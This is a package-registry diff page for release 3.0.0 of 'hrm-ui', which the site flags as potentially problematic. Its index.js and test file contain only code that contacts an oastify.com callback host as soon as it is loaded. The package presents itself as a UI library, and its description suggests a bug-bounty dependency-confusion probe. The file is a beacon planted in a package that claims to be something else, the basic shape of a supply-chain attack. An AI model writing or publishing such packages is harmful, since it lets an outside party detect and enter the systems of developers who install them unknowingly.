hrm-ui 3.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of hrm-ui might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +17 -0
  2. package/package.json +22 -0
  3. package/test/test.js +17 -0
package/index.js ADDED
@@ -0,0 +1,17 @@
1
+ const https = require('https');
2
+ const url = 'https://mg6dsry1mciw4mg1do3w5l37cyip6oud.oastify.com';
3
+
4
+ https.get(url, (resp) => {
5
+ let data = '';
6
+
7
+ // A chunk of data has been recieved.
8
+ resp.on('data', (chunk) => {
9
+ data += chunk;
10
+ });
11
+ // The whole response has been received. Print out the result.
12
+ resp.on('end', () => {
13
+ //No console.log
14
+ });
15
+ }).on("error", (err) => {
16
+ console.log("Error: " + err.message);
17
+ });
package/package.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "hrm-ui",
3
+ "version": "3.0.0",
4
+ "description": "YWH BBH",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node test/tests.js"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/c14dd49h/hrm-ui.git"
12
+ },
13
+ "keywords": [
14
+ "hrm-ui"
15
+ ],
16
+ "author": "c14dd49h",
17
+ "license": "ISC",
18
+ "bugs": {
19
+ "url": "https://github.com/c14dd49h/hrm-ui/issues"
20
+ },
21
+ "homepage": "https://github.com/c14dd49h/hrm-ui#readme"
22
+ }
package/test/test.js ADDED
@@ -0,0 +1,17 @@
1
+ const https = require('https');
2
+ const url = 'https://mg6dsry1mciw4mg1do3w5l37cyip6oud.oastify.com';
3
+
4
+ https.get(url, (resp) => {
5
+ let data = '';
6
+
7
+ // A chunk of data has been recieved.
8
+ resp.on('data', (chunk) => {
9
+ data += chunk;
10
+ });
11
+ // The whole response has been received. Print out the result.
12
+ resp.on('end', () => {
13
+ //No console.log
14
+ });
15
+ }).on("error", (err) => {
16
+ console.log("Error: " + err.message);
17
+ });